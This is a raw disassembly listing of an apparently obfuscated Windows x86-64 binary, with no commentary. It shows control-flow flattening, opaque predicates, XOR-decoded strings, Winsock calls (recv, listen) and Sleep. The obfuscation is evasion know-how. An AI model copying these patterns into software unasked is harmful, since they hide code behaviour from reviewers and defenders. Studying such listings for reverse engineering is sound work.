mov esi, 0xd1ef75a6
jmp 0x140021990
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xc], bl
mov byte [r8 + 0xd], 0
mov r8, qword [rbp + 0x170]
mov byte [r8 + 0x19], 1
mov r8d, 0x23c4f722
jmp 0x140020df0
mov r8d, dword [0x1402b5d30]
lea esi, [r8 + 1]
imul esi, r8d
mov r8d, esi
xor r8d, 0xfffffffe
test r8d, esi
sete bl
mov r8d, 0xe387e907
cmove r8d, ecx
cmp dword [0x1402b5d34], 0xa
cmovge r8d, edx
setl sil
xor sil, bl
cmovne r8d, ecx
jmp 0x140020df0
mov eax, dword [0x1402b5d28]
mov r8d, dword [0x1402b5d2c]
lea esi, [rax - 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov edi, 0x5895d75c
cmovne edi, r12d
cmp esi, 0xffffffff
mov eax, edi
cmove eax, r12d
cmp r8d, 0xa
mov r8, qword [rbp + 0x170]
cmovge eax, edi
jmp 0x14001f9d0
cmp eax, 0x713de1e4
jne 0x14001f9d0
mov rax, qword [rbp + 0x188]
mov eax, 0xfacf1089
jmp 0x14001f86f
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, dword [0x1402b5d20]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0x9eb85e0c
mov edi, 0xa9203178
cmove eax, edi
cmp dword [0x1402b5d24], 0xa
mov esi, 0x9eb85e0c
cmovge eax, esi
setl sil
xor sil, r8b
cmovne eax, edi
jmp 0x14001f86f
mov eax, dword [0x1402b5d20]
mov r8d, dword [0x1402b5d24]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov edi, 0x12ee4f96
mov ebx, 0x4fc395ed
cmovne edi, ebx
cmp esi, 0xffffffff
mov eax, edi
cmove eax, ebx
cmp r8d, 0xa
cmovge eax, edi
jmp 0x14001f86f
cmp eax, 0xbdd161c3
jne 0x14001f86f
mov rsp, qword [rbp + 0x128]
sub rsp, 0x20
lea rdx, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x120]
call fcn.140028850
add rsp, 0x20
mov eax, 0x8e514f33
mov ebx, 0x559d78c6
mov r14d, 0xa1dae94d
mov rsi, rbp
jmp 0x140021b7f
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x140021cce
cmp eax, 0x8e514f33
jne 0x140021b7f
sub rsp, 0x20
mov rcx, rsi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1e8]
cmp ecx, 0xa
setl byte [rbp + 0x190]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x140021c19
cmp eax, 0xa1dae94d
je 0x140021c55
cmp eax, 0xb5ee369a
je 0x140021c76
cmp eax, 0xc7dc8da9
jne 0x140021bd1
movzx ecx, byte [rbp + 0x1e8]
movzx eax, byte [rbp + 0x190]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x140021bd1
cmp eax, 0x354e3b8c
je 0x140021b7a
cmp eax, 0x559d78c6
je 0x140021c80
cmp eax, 0x66202512
jne 0x140021bd1
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1b0]
cmp eax, 0x51eaacfe
je 0x140021c4e
cmp eax, 0x89bfb55a
jne 0x140021c3e
jmp 0x140021c5f
mov eax, 0x89bfb55a
jmp 0x140021c3e
mov eax, 0x66202512
jmp 0x140021bd1
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140021bd1
mov eax, 0x559d78c6
jmp 0x140021bd1
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xb5ee369a
cmovne r8d, r14d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r14d
cmp ecx, 0xa
mov qword [rbp + 0x1b0], rsi
cmovge eax, r8d
jmp 0x140021bd1
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140021d12
xor cl, al
jne 0x140021d12
nop word [rax + rax]
jmp 0x140021d10
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400285e0
add rsp, 0x20
mov r15, rax
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140021d62
or cl, al
je 0x140021d62
nop dword [rax]
jmp 0x140021d60
sub rsp, 0x20
mov rcx, rbp
call section..text
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140021db2
or cl, al
je 0x140021db2
nop word cs:[rax + rax]
jmp 0x140021db0
sub rsp, 0x20
mov rdx, rbp
mov rcx, r15
call fcn.140002980
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5cac], 0xa
setl dl
test dl, cl
jne 0x140021def
xor dl, cl
jne 0x140021def
jmp 0x140021ded
mov edx, 0x6098621e
lea rcx, str._____Con_lai_:
cmp edx, 0xc72ec75d
je 0x140021e19
cmp edx, 0x6098621e
jne 0x140021dfb
mov qword [rbp + 0x188], rcx
mov edx, 0xc72ec75d
jmp 0x140021dfb
mov rcx, qword [rbp + 0x188]
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x1e0], rdx
mov qword [rbp + 0x168], rcx
lea rcx, [rbp + 0x208]
mov qword [rbp + 0x170], rcx
mov esi, 0x8e567f9
mov ecx, 0xbaec221f
mov edx, 0x2c69d576
mov r8d, 0x2df5b3fe
mov r9d, 0xb94b4497
mov r10d, 0x91277cb8
mov r11d, 0x815c4565
jmp 0x140021ea1
mov esi, dword [0x1402b5d38]
lea edi, [rsi + 1]
imul edi, esi
mov esi, edi
xor esi, 0xfffffffe
test esi, edi
sete bl
mov esi, 0xb94b4497
cmove esi, r10d
cmp dword [0x1402b5d3c], 0xa
cmovge esi, r9d
setl dil
xor dil, bl
cmovne esi, r10d
cmp esi, 0xc299b04d
jg 0x140021f15
cmp esi, 0xb94b4496
jg 0x140021f6e
cmp esi, 0x815c4565
je 0x140021fad
cmp esi, 0x91277cb8
jne 0x140021ea1
mov rdi, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x168]
movzx ebx, byte [rbp + 0x1d8]
mov qword [rbp + 0x178], rdi
mov rbx, qword [rbp + 0x178]
movsx rdi, byte [rsi]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140021f0d
cmp r14d, 0x9c1cbcd3
jne 0x140021ef6
jmp 0x1400225d0
mov r14d, 0x9c1cbcd3
jmp 0x140021ef6
cmp esi, 0x2c69d575
jg 0x140021f90
cmp esi, 0xc299b04e
je 0x140021e6c
cmp esi, 0x8e567f9
jne 0x140021ea1
mov esi, dword [0x1402b5d38]
lea edi, [rsi + 1]
imul edi, esi
mov esi, edi
xor esi, 0xfffffffe
test esi, edi
sete bl
mov esi, 0x2c69d576
cmove esi, r11d
cmp dword [0x1402b5d3c], 0xa
cmovge esi, edx
setl dil
xor dil, bl
cmovne esi, r11d
jmp 0x140021ea1
cmp esi, 0xb94b4497
je 0x140022004
cmp esi, 0xbaec221f
jne 0x140021ea1
mov esi, 0xc299b04e
jmp 0x140021ea1
cmp esi, 0x2c69d576
jne 0x140022b78
mov rsi, qword [rbp + 0x170]
mov esi, 0x815c4565
jmp 0x140021ea1
mov esi, dword [0x1402b5d38]
mov edi, dword [0x1402b5d3c]
lea ebx, [rsi + 1]
imul ebx, esi
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete sil
cmp edi, 0xa
setl r14b
xor r14b, sil
mov r14d, 0x2c69d576
cmovne r14d, ecx
cmp ebx, 0xffffffff
mov esi, r14d
cmove esi, ecx
cmp edi, 0xa
mov rdi, qword [rbp + 0x170]
movzx ebx, byte [rdi]
mov byte [rbp + 0x1d8], bl
cmovge esi, r14d
jmp 0x140021ea1
mov rdi, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x168]
movzx ebx, byte [rbp + 0x1d8]
mov qword [rbp + 0x178], rdi
mov rbx, qword [rbp + 0x178]
movsx rdi, byte [rsi]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022045
cmp r14d, 0x9c1cbcd3
jne 0x140022031
jmp 0x14002204d
mov r14d, 0x9c1cbcd3
jmp 0x140022031
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 0
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx], r14b
inc rbx
mov qword [rbp + 0x180], rbx
movsx rdi, byte [rsi + 1]
mov ebx, 0xd63df95
cmp ebx, 0xd63df95
je 0x14002209c
cmp ebx, 0x9c1cbcd3
jne 0x14002208a
jmp 0x1400220a3
mov ebx, 0x9c1cbcd3
jmp 0x14002208a
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 1
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov r14d, edi
xor r14d, edi
not r14d
and r14d, ebx
xor r14d, edi
mov byte [rbp + 0x130], r14b
mov edi, 0xc9d7c9c
jmp 0x140022130
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 5
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 4], r15b
add rbx, 5
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x200], rsi
mov edi, 0x5c8dfe9b
cmp edi, 0x5c8dfe9b
je 0x140022284
cmp edi, 0xc9d7c9c
jne 0x140022130
mov rdi, qword [rbp + 0x180]
movzx ebx, byte [rbp + 0x130]
mov byte [rdi], bl
mov rbx, qword [rbp + 0x180]
movsx rdi, byte [rsi + 2]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002217a
cmp r14d, 0x9c1cbcd3
jne 0x140022166
jmp 0x140022182
mov r14d, 0x9c1cbcd3
jmp 0x140022166
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 2
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 1], r14b
movsx rdi, byte [rsi + 3]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400221cb
cmp r14d, 0x9c1cbcd3
jne 0x1400221b7
jmp 0x1400221d3
mov r14d, 0x9c1cbcd3
jmp 0x1400221b7
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 3
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 2], r15b
movsx rdi, byte [rsi + 4]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022228
cmp r14d, 0x9c1cbcd3
jne 0x140022214
jmp 0x140022230
mov r14d, 0x9c1cbcd3
jmp 0x140022214
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 4
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 3], r14b
movsx rdi, byte [rsi + 5]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002227c
cmp r14d, 0x9c1cbcd3
jne 0x140022265
jmp 0x1400220e3
mov r14d, 0x9c1cbcd3
jmp 0x140022265
mov rdi, qword [rbp + 0x200]
movsx rdi, byte [rdi + 6]
mov ebx, 0xd63df95
cmp ebx, 0xd63df95
je 0x1400222a7
cmp ebx, 0x9c1cbcd3
jne 0x140022295
jmp 0x1400222ae
mov ebx, 0x9c1cbcd3
jmp 0x140022295
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 6
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov r14d, edi
xor r14d, edi
not r14d
and r14d, ebx
xor r14d, edi
mov rdi, qword [rbp + 0x1d0]
mov byte [rdi], r14b
mov rbx, qword [rbp + 0x1d0]
movsx rdi, byte [rsi + 7]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022310
cmp r14d, 0x9c1cbcd3
jne 0x1400222fc
jmp 0x140022318
mov r14d, 0x9c1cbcd3
jmp 0x1400222fc
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 7
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 1], r15b
movsx rdi, byte [rsi + 8]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002236d
cmp r14d, 0x9c1cbcd3
jne 0x140022359
jmp 0x140022375
mov r14d, 0x9c1cbcd3
jmp 0x140022359
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 8
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 2], r14b
movsx rdi, byte [rsi + 9]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400223be
cmp r14d, 0x9c1cbcd3
jne 0x1400223aa
jmp 0x1400223c6
mov r14d, 0x9c1cbcd3
jmp 0x1400223aa
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 9
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 3], r15b
movsx rdi, byte [rsi + 0xa]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002241b
cmp r14d, 0x9c1cbcd3
jne 0x140022407
jmp 0x140022423
mov r14d, 0x9c1cbcd3
jmp 0x140022407
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 0xa
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 4], r15b
movsx rdi, byte [rsi + 0xb]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022478
cmp r14d, 0x9c1cbcd3
jne 0x140022464
jmp 0x140022480
mov r14d, 0x9c1cbcd3
jmp 0x140022464
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], select
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 5], r14b
movsx rdi, byte [rsi + 0xc]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400224c9
cmp r14d, 0x9c1cbcd3
jne 0x1400224b5
jmp 0x1400224d1
mov r14d, 0x9c1cbcd3
jmp 0x1400224b5
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], select
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 6], r15b
movsx rdi, byte [rsi + 0xd]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022526
cmp r14d, 0x9c1cbcd3
jne 0x140022512
jmp 0x14002252e
mov r14d, 0x9c1cbcd3
jmp 0x140022512
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 7], r15b
movsx rsi, byte [rsi + 0xe]
mov edi, 0xd63df95
cmp edi, 0xd63df95
je 0x140022580
cmp edi, 0x9c1cbcd3
jne 0x14002256e
jmp 0x140022587
mov edi, 0x9c1cbcd3
jmp 0x14002256e
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rsi, qword [rbp + 0x1b0]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov byte [rbx + 8], dil
mov byte [rbx + 9], 0
mov rsi, qword [rbp + 0x178]
mov byte [rsi + 0x10], 1
mov rsi, qword [rbp + 0x178]
mov esi, 0x91277cb8
jmp 0x140021ea1
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 0
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx], r14b
inc rbx
mov qword [rbp + 0x180], rbx
movsx rdi, byte [rsi + 1]
mov ebx, 0xd63df95
cmp ebx, 0xd63df95
je 0x14002261f
cmp ebx, 0x9c1cbcd3
jne 0x14002260d
jmp 0x140022626
mov ebx, 0x9c1cbcd3
jmp 0x14002260d
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 1
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov r14d, edi
xor r14d, edi
not r14d
and r14d, ebx
xor r14d, edi
mov byte [rbp + 0x130], r14b
mov edi, 0xc9d7c9c
jmp 0x1400226b3
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 5
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 4], r15b
add rbx, 5
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x200], rsi
mov edi, 0x5c8dfe9b
cmp edi, 0x5c8dfe9b
je 0x1400227fb
cmp edi, 0xc9d7c9c
jne 0x1400226b3
mov rdi, qword [rbp + 0x180]
movzx ebx, byte [rbp + 0x130]
mov byte [rdi], bl
mov rbx, qword [rbp + 0x180]
movsx rdi, byte [rsi + 2]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400226fd
cmp r14d, 0x9c1cbcd3
jne 0x1400226e9
jmp 0x140022705
mov r14d, 0x9c1cbcd3
jmp 0x1400226e9
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 2
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 1], r14b
movsx rdi, byte [rsi + 3]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002274e
cmp r14d, 0x9c1cbcd3
jne 0x14002273a
jmp 0x140022756
mov r14d, 0x9c1cbcd3
jmp 0x14002273a
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 3
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 2], r14b
movsx rdi, byte [rsi + 4]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x14002279f
cmp r14d, 0x9c1cbcd3
jne 0x14002278b
jmp 0x1400227a7
mov r14d, 0x9c1cbcd3
jmp 0x14002278b
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 4
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 3], r14b
movsx rdi, byte [rsi + 5]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400227f3
cmp r14d, 0x9c1cbcd3
jne 0x1400227dc
jmp 0x140022666
mov r14d, 0x9c1cbcd3
jmp 0x1400227dc
mov rdi, qword [rbp + 0x200]
movsx rdi, byte [rdi + 6]
mov ebx, 0xd63df95
cmp ebx, 0xd63df95
je 0x14002281e
cmp ebx, 0x9c1cbcd3
jne 0x14002280c
jmp 0x140022825
mov ebx, 0x9c1cbcd3
jmp 0x14002280c
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 6
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov r14d, edi
xor r14d, edi
not r14d
and r14d, ebx
xor r14d, edi
mov rdi, qword [rbp + 0x1d0]
mov byte [rdi], r14b
mov rbx, qword [rbp + 0x1d0]
movsx rdi, byte [rsi + 7]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022887
cmp r14d, 0x9c1cbcd3
jne 0x140022873
jmp 0x14002288f
mov r14d, 0x9c1cbcd3
jmp 0x140022873
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 7
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 1], r14b
movsx rdi, byte [rsi + 8]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400228d8
cmp r14d, 0x9c1cbcd3
jne 0x1400228c4
jmp 0x1400228e0
mov r14d, 0x9c1cbcd3
jmp 0x1400228c4
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 8
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 2], r15b
movsx rdi, byte [rsi + 9]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022935
cmp r14d, 0x9c1cbcd3
jne 0x140022921
jmp 0x14002293d
mov r14d, 0x9c1cbcd3
jmp 0x140022921
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 9
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 3], r14b
movsx rdi, byte [rsi + 0xa]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022986
cmp r14d, 0x9c1cbcd3
jne 0x140022972
jmp 0x14002298e
mov r14d, 0x9c1cbcd3
jmp 0x140022972
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], 0xa
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 4], r15b
movsx rdi, byte [rsi + 0xb]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x1400229e3
cmp r14d, 0x9c1cbcd3
jne 0x1400229cf
jmp 0x1400229eb
mov r14d, 0x9c1cbcd3
jmp 0x1400229cf
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], select
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 5], r14b
movsx rdi, byte [rsi + 0xc]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022a34
cmp r14d, 0x9c1cbcd3
jne 0x140022a20
jmp 0x140022a3c
mov r14d, 0x9c1cbcd3
jmp 0x140022a20
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], select
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
xor r14d, edi
mov byte [rbx + 6], r14b
movsx rdi, byte [rsi + 0xd]
mov r14d, 0xd63df95
cmp r14d, 0xd63df95
je 0x140022a85
cmp r14d, 0x9c1cbcd3
jne 0x140022a71
jmp 0x140022a8d
mov r14d, 0x9c1cbcd3
jmp 0x140022a71
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rdi, qword [rbp + 0x1b0]
add edi, 0xb
mov r14, qword [rbp + 0x1e8]
mov r15d, edi
xor r15d, edi
not r15d
and r15d, r14d
xor r15d, edi
mov byte [rbx + 7], r15b
movsx rsi, byte [rsi + 0xe]
mov edi, 0xd63df95
cmp edi, 0xd63df95
je 0x140022adf
cmp edi, 0x9c1cbcd3
jne 0x140022acd
jmp 0x140022ae6
mov edi, 0x9c1cbcd3
jmp 0x140022acd
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rsi, qword [rbp + 0x1b0]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
mov r14d, esi
xor r14d, esi
not r14d
and r14d, edi
xor r14d, esi
mov byte [rbx + 8], r14b
mov byte [rbx + 9], 0
mov rsi, qword [rbp + 0x178]
mov byte [rsi + 0x10], 1
mov esi, dword [0x1402b5d38]
mov edi, dword [0x1402b5d3c]
lea ebx, [rsi + 1]
imul ebx, esi
mov esi, ebx
xor esi, 0xfffffffe
test esi, ebx
sete r14b
cmp edi, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xb94b4497
cmovne r14d, r8d
test esi, ebx
mov esi, r14d
cmove esi, r8d
cmp edi, 0xa
mov rdi, qword [rbp + 0x178]
cmovge esi, r14d
jmp 0x140021ea1
cmp esi, 0x2df5b3fe
jne 0x140021ea1
mov rcx, qword [rbp + 0x1e0]
sub rsp, 0x20
lea r15, [rbp + 0x190]
mov rcx, rax
mov rdx, r15
call fcn.140028b30
add rsp, 0x20
mov r13, rax
mov eax, dword [0x1402b5ca8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140022bd3
xor cl, al
jne 0x140022bd3
jmp 0x140022bd1
sub rsp, 0x20
lea rcx, [rbp + 0x1b0]
call fcn.14000b690
add rsp, 0x20
sub rsp, 0x20
lea r14, [rbp + 0x1b0]
mov rcx, r14
call fcn.14000cf50
add rsp, 0x20
sub rsp, 0x20
mov rcx, r13
mov rdx, rax
call fcn.140002110
add rsp, 0x20
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r12d, 0xa1dae94d
jmp 0x140022c2d
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x140022d6b
cmp eax, 0x8e514f33
jne 0x140022c2d
sub rsp, 0x20
mov rcx, r14
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x1d0]
cmp ecx, 0xa
setl byte [rbp + 0x200]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x140022cc6
cmp eax, 0xa1dae94d
je 0x140022d02
cmp eax, 0xb5ee369a
je 0x140022d23
cmp eax, 0xc7dc8da9
jne 0x140022c7e
movzx ecx, byte [rbp + 0x1d0]
movzx eax, byte [rbp + 0x200]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, esi
jmp 0x140022c7e
cmp eax, 0x354e3b8c
je 0x140022c28
cmp eax, 0x559d78c6
je 0x140022d2d
cmp eax, 0x66202512
jne 0x140022c7e
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1e8]
cmp eax, 0x51eaacfe
je 0x140022cfb
cmp eax, 0x89bfb55a
jne 0x140022ceb
jmp 0x140022d0c
mov eax, 0x89bfb55a
jmp 0x140022ceb
mov eax, 0x66202512
jmp 0x140022c7e
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140022c7e
mov eax, 0x559d78c6
jmp 0x140022c7e
mov qword [rbp + 0x1e8], r14
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xb5ee369a
cmove eax, r12d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r12d
jmp 0x140022c7e
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r14d, 0xa1dae94d
jmp 0x140022d87
mov eax, 0xe9738f9d
